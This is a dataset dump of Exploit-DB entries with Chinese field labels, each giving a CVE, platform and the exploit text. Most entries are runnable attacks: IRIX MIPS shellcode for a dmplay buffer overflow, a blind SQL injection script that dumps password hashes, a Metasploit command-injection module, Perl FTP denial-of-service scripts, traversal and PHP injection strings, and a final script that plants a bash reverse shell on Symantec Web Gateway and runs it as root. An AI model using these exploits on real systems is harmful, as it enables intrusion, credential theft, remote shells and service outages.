QLWD/code_shield huggingface dataset:
标题: IRIX 6.5.x - '/usr/sbin/dmplay' Local Buffer Overflow EDB-ID: 20128 CVE: 2000-0796 类型: LOCAL 平台: IRIX 发布日期: 2000-08-02 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/1528/info

Certain versions of IRIX ship with a version of dmplay which is vulnerable to a buffer overflow attack. The program, dmplay, is used to play movie files under IRIX. The problem at hand is the way the program handles the DISPLAY variable for the users X terminal. It does not check bounds and therefore is vulnerable to attack by an overly long user supplied string. 
*/

/*## copyright LAST STAGE OF DELIRIUM oct 1997 poland        *://lsd-pl.net/ #*/
/*## /usr/sbin/dmplay                                                        #*/

#define NOPNUM 800
#define ADRNUM 156
#define PCHNUM 148
#define TMPNUM 52

char shellcode[]=
    "\x04\x10\xff\xff"    /* bltzal  $zero,<shellcode>    */
    "\x24\x02\x03\xf3"    /* li      $v0,1011             */
    "\x23\xff\x01\x14"    /* addi    $ra,$ra,276          */
    "\x23\xe4\xff\x08"    /* addi    $a0,$ra,-248         */
    "\x23\xe5\xff\x10"    /* addi    $a1,$ra,-240         */
    "\xaf\xe4\xff\x10"    /* sw      $a0,-240($ra)        */
    "\xaf\xe0\xff\x14"    /* sw      $zero,-236($ra)      */
    "\xa3\xe0\xff\x0f"    /* sb      $zero,-241($ra)      */
    "\x03\xff\xff\xcc"    /* syscall                      */
    "/bin/sh"
;

char jump[]=
    "\x03\xa0\x10\x25"    /* move    $v0,$sp              */
    "\x03\xe0\x00\x08"    /* jr      $ra                  */
;

char nop[]="\x24\x0f\x12\x34";

main(int argc,char **argv){
    char buffer[10000],adr[4],pch[4],tmp[4],*b,*envp[2],display[128];
    int i;

    printf("copyright LAST STAGE OF DELIRIUM oct 1997 poland  //lsd-pl.net/\n");
    printf("/usr/sbin/dmplay for irix 6.2 6.3 IP:17,19,20,21,22,32\n\n");

    if(argc!=3){
        printf("usage: %s {62|63} xserver:display\n",argv[0]);
        exit(-1);
    }

    if(!strcmp(argv[1],"62")){
        *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+10396+32;
        *((unsigned long*)pch)=(*(unsigned long(*)())jump)()+10396+32+900+30540;
        *((unsigned long*)tmp)=(*(unsigned long(*)())jump)()+10396+32+8000;
    }
    if(!strcmp(argv[1],"63")){
        *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+10348+32;
        *((unsigned long*)pch)=(*(unsigned long(*)())jump)()+10348+32+900-84;
        *((unsigned long*)tmp)=(*(unsigned long(*)())jump)()+10348+32+8000;
    }

    sprintf(display,"DISPLAY=%s",argv[2]);
    envp[0]=display;
    envp[1]=0;

    b=buffer;
    for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
    for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
    *b++=0xff;
    for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
    for(i=0;i<TMPNUM;i++) *b++=tmp[i%4];
    for(i=0;i<PCHNUM;i++) *b++=pch[i%4];
    *b=0;

    execle("/usr/sbin/dmplay","lsd",buffer,0,envp);
} URL: https://www.exploit-db.com/exploits/20128
标题: CVS Kit CVS Server 1.10.8 - Instructed File Create EDB-ID: 20107 CVE: 2000-0679 类型: LOCAL 平台: UNIX 发布日期: 2000-07-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/1523/info

The cvs client blindly trust paths returned to it by the server. Therefore, a cvs client could be tricked into creating a file anywhere on the system by a malicious server. 

This problem can be tested yourself as follows. Although this example
runs a faked cvs server using the :ext: method, this vulnerability is
available with any method (including :pserver: of course).

% ls -l /tmp/foo
ls: /tmp/foo: No such file or directory
% cat crackers-cvs-server
#!/bin/sh

cat <<'End'
Valid-requests Root Valid-responses valid-requests Repository Directory Max-dotdot Static-directory Sticky Checkin-prog Update-prog
Entry Kopt Checkin-time Modified Is-modified UseUnchanged Unchanged Notify Questionable Case Argument Argumentx Global_option
Gzip-stream wrapper-sendme-rcsOptions Set Kerberos-encrypt expand-modules ci co update diff log add remove update-patches
gzip-file-contents status rdiff tag rtag import admin export history release watch-on watch-off watch-add watch-remove watchers
editors init annotate noop
ok
Module-expansion tst
ok
Clear-sticky tst/
/cvsroot/tst/
Clear-static-directory tst/
/cvsroot/tst/
E cvs server: Updating tst
Created /tmp/
/cvsroot/tst/foo
/foo/1.1///
u=rw,g=rw,o=rw
4
abc
ok
End
% CVS_RSH=./crackers-cvs-server cvs -f -d :ext:user@server:/cvsroot co tst
cvs server: Updating tst
cvs checkout: in directory /tmp:
cvs checkout: cannot open CVS/Entries for reading: No such file or directory
cvs checkout: cannot open CVS/Entries.Log: No such file or directory
% ls -l /tmp/foo
-rw-r--r-- 1 akr wheel 4 Jul 19 22:01 /tmp/foo
% cat /tmp/foo
abc URL: https://www.exploit-db.com/exploits/20107
标题: Roxen WebServer 2.0.x - '%00' Request File/Directory Disclosure EDB-ID: 20104 CVE: 2000-0671 类型: REMOTE 平台: MULTIPLE 发布日期: 2000-07-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/1510/info

If a request containing the null character (%00) is made to the Roxen Web Server, the server will return directory contents, and the source of unparsed scripts and html pages.

For example, a request to
http://www.server.com/%00

Will return the contents of the server's document root directory.

Versions of Roxen WebServer 2.0 prior to 2.0.69 are affected. URL: https://www.exploit-db.com/exploits/20104
标题: CVS Kit CVS Server 1.10.8 - 'Checkin.prog' Binary Execution EDB-ID: 20108 CVE: 2000-0680 类型: LOCAL 平台: UNIX 发布日期: 2000-06-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/1524/info

A CVS committer can execute arbitrary binaries by using Checkin.prog. Usually CVS/Checkin.prog in a working directory is copied from CVSROOT/modules when the directory is "checkout"ed and it is sent back to the server and executed with committing. Note that when it is executed, committed files exist in the current directory.

Since a working directory can be modified by a committer, Checkin.prog may be modified or even newly created. If a malicious committer does this, cvs server executes the modified Checkin.prog. Also note that the committer can create an arbitrary binary file by `cvs add -kb' and `cvs commit'. The malicious committer can execute the recently committed binary file via Checkin.prog triggered by the `cvs commit'.

% cvs -d :pserver:test@localhost:/tmp/cvs -f co somemodule
cvs server: Updating somemodule
% cd somemodule
% cp /bin/ls binary
% cvs add -kb binary
cvs server: scheduling file `binary' for addition
cvs server: use 'cvs commit' to add this file permanently
% echo ./binary > CVS/Checkin.prog
% cvs commit -m 'test'
cvs commit: Examining .
RCS file: /tmp/cvs/somemodule/binary,v
done
Checking in binary;
/tmp/cvs/somemodule/binary,v <-- binary
initial revision: 1.1
done
cvs server: Executing ''./binary' '/tmp/cvs/somemodule''
#cvs.lock
#cvs.wfl.serein.m17n.org.14330
binary,v URL: https://www.exploit-db.com/exploits/20108
标题: AnalogX SimpleServer:WWW 1.0.6 - Directory Traversal EDB-ID: 20103 CVE: 2000-0664 类型: REMOTE 平台: WINDOWS 发布日期: 2000-07-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/1508/info

Requesting a specially formed url containing encoding (%2E) to SimpleServer 1.06 and possibley earlier versions, will enable a remote user to gain read access to known files above the SimpleServer directory.

http://target/%2E%2E/filename URL: https://www.exploit-db.com/exploits/20103
标题: Symantec Web Gateway 5.0.3.18 - 'deptUploads_data.php?groupid' Blind SQL Injection EDB-ID: 20123 CVE: 2012-4178 类型: WEBAPPS 平台: PHP 发布日期: 2012-07-30 漏洞利用脚本: #!/usr/bin/python
# @_Kc57
# Blind SQLi POC
# Dumps out the first available hash in the users table of spywall_db

import urllib
import time
from time import sleep

timing='2.5'
checks = 0

def check_char(i, pos):
 global timimg
 global checks
 checks += 1
 url = 'https://192.168.200.132/spywall/includes/deptUploads_data.php?groupid=1 union select 1,2, IF (%s=conv(mid((select password from users),%s,1),16,10),SLEEP(%s),null);--' % (i,pos,timing)
 start = time.time()
 urllib.urlopen(url)
 end = time.time()
 howlong = end-start
 return howlong

def check_pos(pos):

 for m in range(0,16):
  output = check_char(m, pos)
  print "[*] Character %s - Took %s seconds" % (hex(m)[2:],output)
  if output > 2:
   return hex(m)[2:]
   

md5 = ''
start = time.time()
for y in range(1,33):
 print "Checking position %s" % (y)
 md5 += check_pos(y)
 print md5
 end = time.time()
 howlong = end-start

print "1st hash:%s" % (md5)
print "Found in %s queries" % (checks)
print "Found in %s" %(howlong) URL: https://www.exploit-db.com/exploits/20123
标题: Conectiva 4.x/5.x / RedHat 6.x - pam_console Remote User EDB-ID: 20105 CVE: 2000-0668 类型: REMOTE 平台: LINUX 发布日期: 2000-07-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/1513/info

There is a vulnerability in the Linux pam_console module that could allow an attacker to remotely reboot the workstation or perform other actions limited to local users.
If a workstation is configured to use a display manager (xdm, gdm, kdm, etc.) AND has XDMCP enabled, it is possible for a user who logs in remotely to use Xnest -query to log in on display :1, which is recognized as the system console. This vulnerability is only present if the workstation is running a graphical login manager such as gdm or kdm. 


This description of how to replicate the problem was posted to RedHat's Bugzilla bug-tracking system by bkw1a@virginia.edu:
1. ssh into the server, allowing ssh to establish a secure forwarded X connection. If no one else is using display number 0, you'll end up with a DISPLAY value of "host:0.0".
2. Invoke "Xnest -query localhost" on the remote machine.
3. Log in, starting a Gnome session.
4. From the Gnome panel, select "logout". You'll be presented with the option of shutting down or rebooting the server.

Another description, this one from Andreas Hasenack <andreas@conectiva.com.br>:
1. login remotely (X -broadcast) (have gdm, kdm, whatever running with XDMCP enabled somewhere)
2. after login, start Xnest with -broadcast again, for example
3. login again, now you will be using display :1
4. this is treated as a console user, and commands only available to console users can be run, such as reboot. URL: https://www.exploit-db.com/exploits/20105
标题: Symantec Web Gateway 5.0.2.18 - 'pbcontrol.php' Command Injection (Metasploit) EDB-ID: 20113 CVE: 2012-2953 类型: REMOTE 平台: LINUX 发布日期: 2012-07-27 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info={})
  super(update_info(info,
   'Name'           => "Symantec Web Gateway 5.0.2.18 pbcontrol.php Command Injection",
   'Description'    => %q{
     This module exploits a command injection vulnerability found in Symantec Web
    Gateway's HTTP service.  While handling the filename parameter, the Spywall API
    does not do any filtering before passing it to an exec() call in proxy_file(),
    thus results in remote code execution under the context of the web server. Please
    note authentication is NOT needed to gain access.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'muts',  # Original discovery
     'sinn3r' # Metasploit
    ],
   'References'     =>
    [
     [ 'CVE', '2012-2953' ],
     [ 'BID', '54426' ],
     [ 'EDB', '20088' ],
     [ 'URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120720_00']
    ],
   'Payload'        =>
    {
     #'BadChars' => "\x00\x0d\x0a",
     'Compat'      =>
      {
       'PayloadType' => 'cmd',
       'RequiredCmd' => 'generic perl bash telnet'
      }
    },
   'Platform'       => ['unix'],
   'Arch'           => ARCH_CMD,
   'Targets'        =>
    [
     ['Symantec Web Gateway 5.0.2.18', {}]
    ],
   'Privileged'     => false,
   'DisclosureDate' => "Jul 23 2012",
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('TARGETURI', [true, 'The URI path to pbcontrol', '/spywall/pbcontrol.php'])
   ], self.class)
 end


 def check
  dir = File.dirname(target_uri.path)

  res1 = send_request_raw({'uri' => "#{dir}/login.php"})
  res2 = send_request_raw({'uri' => "#{dir}/pbcontrol.php"})

  if res1 and res2
   if res1.body =~ /\<title\>Symantec Web Gateway\<\/title\>/ and res2.body =~ /^0$/
    return Exploit::CheckCode::Detected
   end
  end

  return Exploit::CheckCode::Safe
 end


 def exploit
  send_request_cgi({
   'uri'      => target_uri.path,
   'method'   => 'GET',
   'vars_get' => {
    'filename' => "#{Rex::Text.rand_text_alpha(4)}\";#{payload.encoded};\"",
    'stage' => '0'
   }
  })

  handler
 end

end URL: https://www.exploit-db.com/exploits/20113
标题: WFTPD 2.4.1RC11 - 'REST' Malformed File Write Denial of Service EDB-ID: 20101 CVE: 2000-0645 类型: DOS 平台: WINDOWS 发布日期: 2000-07-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/1506/info
 
WFTPD versions prior to 2.4.1RC11 suffer from a number of vulnerabilities.
 
1) Issuing a STAT command while a LIST is in progress will cause the ftp server to crash.
2) If the REST command is used to write past the end of a file or to a non-existant file (with STOU, STOR, or APPE), the ftp server will crash.
3) If a transfer is in progress and a STAT command is issued, the full path and filename on the server is revealed.
4) If an MLST command is sent without first logging in with USER and PASS, the ftp server will crash.

================================================================
BluePanda Vulnerability Announcement: WFTPD/WFTPD Pro 2.41 RC11
21/07/2000 (dd/mm/yyyy)

bluepanda@dwarf.box.sk
http://bluepanda.box.sk/
#!/usr/bin/perl
#
# WFTPD/WFTPD Pro 2.41 RC11 denial-of-service #2
# Blue Panda - bluepanda@dwarf.box.sk
# http://bluepanda.box.sk/
#
# ----------------------------------------------------------
# Disclaimer: this file is intended as proof of concept, and
# is not intended to be used for illegal purposes. I accept
# no responsibility for damage incurred by the use of it.
# ----------------------------------------------------------
#

use IO::Socket;

$host = "ftp.host.com" ;
$port = "21";
$user = "anonymous";
$pass = "p\@nda";
$wait = 10;

# Connect to server.
print "Connecting to $host:$port...";
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$host, PeerPort=>$port) || die "failed.\n";
print "done.\n";

print $socket "USER $user\nPASS $pass\nREST 1\nSTOU\n";

# Wait a while, just to make sure the commands have arrived.
print "Waiting...";
$time = 0;
while ($time < $wait) {
        sleep(1);
        print ".";
        $time += 1;
}

# Finished.
close($socket);
print "\nConnection closed. Finished.\n" URL: https://www.exploit-db.com/exploits/20101
标题: IBM Websphere Application Server 2.0./3.0/3.0.2.1 - Showcode EDB-ID: 20097 CVE: 2000-0652 类型: REMOTE 平台: MULTIPLE 发布日期: 2000-07-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/1500/info

Certain versions of the IBM WebSphere application server ship with a vulnerability which allows malicious users to view the source of any document which resides in the web document root directory.

This is possible via a flaw which allows a default servlet (different servlets are used to parse different types of content, JHTML, HTMl, JSP, etc.) This default servlet will display the document/page without parsing/compiling it hence allowing the code to be viewed by the end user. 

"It is easy to verify this vulnerability for a given system. Prefixing the path to web pages with "/servlet/file/" in the URL causes the file to be displayed without being
parsed or compiled. For example if the URL for a file "login.jsp" is:

http://site.running.websphere/login.jsp

then accessing

http://site.running.websphere/servlet/file/login.jsp

would cause the unparsed contents of the file to show up in the web browser." URL: https://www.exploit-db.com/exploits/20097
标题: Stalker CommuniGate Pro 3.2.4 - Arbitrary File Read EDB-ID: 20091 CVE: 2000-0634 类型: REMOTE 平台: MULTIPLE 发布日期: 2000-04-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/1493/info

A vulnerability exists in the CommuniGate Pro product, from Stalker. It is possible to exploit this vulnerability to read arbitrary files on the filesystem. As CommuniGate Pro runs as root, any file can be accessed. Using this flaw, it is possible to gain enough privilege to remotely execute commands as root. 

Retrieve the postmaster/manager configuration file:
homer:~$ telnet ilf 8010
Escape character is '^]'.
GET /Guide/../../../../../../../../../../../var/CommuniGate/Accounts/postmaster.macnt/account.settings HTTP/1.0

HTTP/1.0 200 OK
Content-Length: 61
Date: Mon, 03 Apr 2000 09:17:35 GMT
Content-Type: application/octet-stream
Server: CommuniGatePro/3.2.4
Expires: Tue, 04 Apr 2000 09:17:35 GMT

{ ExternalINBOX = NO; Password = 8093; UseAppPassword = YES;}
Connection closed by foreign host.
homer:~$

Using this information, it is possible to alter the configuration on the mail server to allow execution using its PIPE feature. URL: https://www.exploit-db.com/exploits/20091
标题: WFTPD 2.4.1RC11 - 'MLST' Remote Denial of Service EDB-ID: 20102 CVE: 2000-0647 类型: DOS 平台: WINDOWS 发布日期: 2000-07-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/1506/info
  
WFTPD versions prior to 2.4.1RC11 suffer from a number of vulnerabilities.
  
1) Issuing a STAT command while a LIST is in progress will cause the ftp server to crash.
2) If the REST command is used to write past the end of a file or to a non-existant file (with STOU, STOR, or APPE), the ftp server will crash.
3) If a transfer is in progress and a STAT command is issued, the full path and filename on the server is revealed.
4) If an MLST command is sent without first logging in with USER and PASS, the ftp server will crash.

#!/usr/bin/perl
#
# WFTPD/WFTPD Pro 2.41 RC11 denial-of-service #3
# Blue Panda - bluepanda@dwarf.box.sk
# http://bluepanda.box.sk/
#
# ----------------------------------------------------------
# Disclaimer: this file is intended as proof of concept, and
# is not intended to be used for illegal purposes. I accept
# no responsibility for damage incurred by the use of it.
# ----------------------------------------------------------
#
# Sends an MLST command without logging in with USER and PASS first, causing
# WFTPD to crash. Note: MLST is not enabled by default, and must be for this
# to work.
#

use IO::Socket;

$host = "ftp.host.com" ;
$port = "21";
$wait = 10;

# Connect to server.
print "Connecting to $host:$port...";
$socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$host, PeerPort=>$port) || die "failed.\n";
print "done.\n";

print $socket "MLST a\n";

# Wait a while, just to make sure the command arrives.
print "Waiting...";
$time = 0;
while ($time < $wait) {
        sleep(1);
        print ".";
        $time += 1;
}

# Finished.
close($socket);
print "\nConnection closed. Finished.\n" URL: https://www.exploit-db.com/exploits/20102
标题: Sean MacGuire Big Brother 1.0/1.3/1.4 - CGI File Creation EDB-ID: 20092 CVE: 2000-0639 类型: LOCAL 平台: CGI 发布日期: 2001-06-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/1494/info

A vulnerability in Big Brother exists which would allow a user to remotely create CGI scripts which could be requested from the Web Server. These could be used to read files and possibly execute commands on the web server machine. 

./bb 1.2.3.4 "status evil.php3 <?<system(\"cat /etc/passwd\");?>"

will allow viewing of the /etc/passwd upon browsing to http://1.2.3.4/bb/logs/evil.php3. URL: https://www.exploit-db.com/exploits/20092
标题: Netscape Communicator 4.x - JPEG-Comment Heap Overwrite EDB-ID: 20098 CVE: 2000-0655 类型: DOS 平台: MULTIPLE 发布日期: 2000-07-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/1503/info

Netscape Browsers use the Independent JPEG Group's decoder library to process JPEG encoded images. The library functions skip JPEG comments; however, the browser uses a custom function to process these comments and store them in memory. The comment includes a 2-byte "length" field which indicates how long the comment is - this value includes the 2-bytes of the "length" field. To determine the length of the comment string alone (for memory allocation), the function reads the value in the "length" field and subtracts two. The function then allocates the length of the comment + one byte for NULL termination. There is no error checking to ensure the "length" value is valid. This makes it possible to cause an overflow by creating an image with a comment "length" field containing the value 1. The memory allocation call of 0 bytes (1 minus 2 (length field) + 1 (null termination)) will succeed. The calculated comment size variable is declared unsigned, resulting in a large positive value (from 1 minus 2). The comment handling function goes into a loop to read the comment into memory, but since the calculated comment size is enormous this causes the function to read the entire JPEG stream, overwriting the heap. It is theoretically possible to exploit this to execute arbitrary code. The browser, mail and news readers are all vulnerable to this.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/20098.jpg URL: https://www.exploit-db.com/exploits/20098
标题: NullSoft Winamp 2.64 - '.m3u' Playlist Buffer Overflow EDB-ID: 20094 CVE: 2000-0624 类型: DOS 平台: WINDOWS 发布日期: 2001-01-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/1496/info

The M3U Playlist file parser in NullSoft Winamp does not perform proper bounds checking with the extension "#EXTINF:". Therefore, entering a string consisting of over 280 characters in conjunction with this parameter will cause a buffer overflow condition which will either crash the application or allow for arbitrary code to be executed, depending on the data entered.

Cut and paste the following into a M3U file:

EXTM3U
#EXTINF:<string of of over 280 characters> URL: https://www.exploit-db.com/exploits/20094
标题: HP JetDirect J3111A - Invalid FTP Command Denial of Service EDB-ID: 20090 CVE: 2000-0636 类型: DOS 平台: HARDWARE 发布日期: 2000-07-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/1491/info

HP JetDirect firmware is vulnerable to a Denial of Service attack. JetDirect devices have an FTP service which fails to properly handle bad FTP commands sent with the ftp "quote" command. This causes the device to stop responding and possibly display an error message. Powering the device off and on is required to regain normal functionality. 

ftp <printer address>
quote AAAAAAAAAAA URL: https://www.exploit-db.com/exploits/20090
标题: Symantec Web Gateway 5.0.3.18 - 'pbcontrol.php' Root Remote Code Execution EDB-ID: 20088 CVE: 2012-2953 类型: REMOTE 平台: LINUX 发布日期: 2012-07-24 漏洞利用脚本: #!/usr/bin/python
import urllib
import sys

'''

print "[*] ##############################################################"
print "[*] Symantec Web Gateway 5.0.3.18 pbcontrol.php ROOT RCE Exploit"
print "[*] Offensive Security - http://www.offensive-security.com"
print "[*] ##############################################################\n"

# 06 Jun 2012: Vulnerability reported to CERT
# 08 Jun 2012: Response received from CERT with disclosure date set to 20 Jul 2012
# 26 Jun 2012: Email received from Symantec for additional information
# 26 Jun 2012: Additional proofs of concept sent to Symantec
# 06 Jul 2012: Update received from Symantec with intent to fix
# 20 Jul 2012: Symantec patch released: http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120720_00
# 23 Jul 2012: Public Disclosure

'''

if (len(sys.argv) != 4):
        print "[*] Usage: symantec-web-gateway-0day.py <RHOST> <LHOST> <LPORT>"
        exit(0)

rhost = str(sys.argv[1])
lhost = sys.argv[2]
lport = sys.argv[3]

payload= '''echo%20'%23!%2Fbin%2Fbash'%20%3E%20%2Ftmp%2FnetworkScript%3B%20echo%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F'''+lhost+'''%2F'''+lport+'''%200%3E%261'%20%3E%3E%20%2Ftmp%2FnetworkScript%3Bchmod%20755%20%2Ftmp%2FnetworkScript%3B%20sudo%20%2Ftmp%2FnetworkScript'''
url = 'https://%s/spywall/pbcontrol.php?filename=hola";%s;"&stage=0' % (rhost,payload)
urllib.urlopen(url) URL: https://www.exploit-db.com/exploits/20088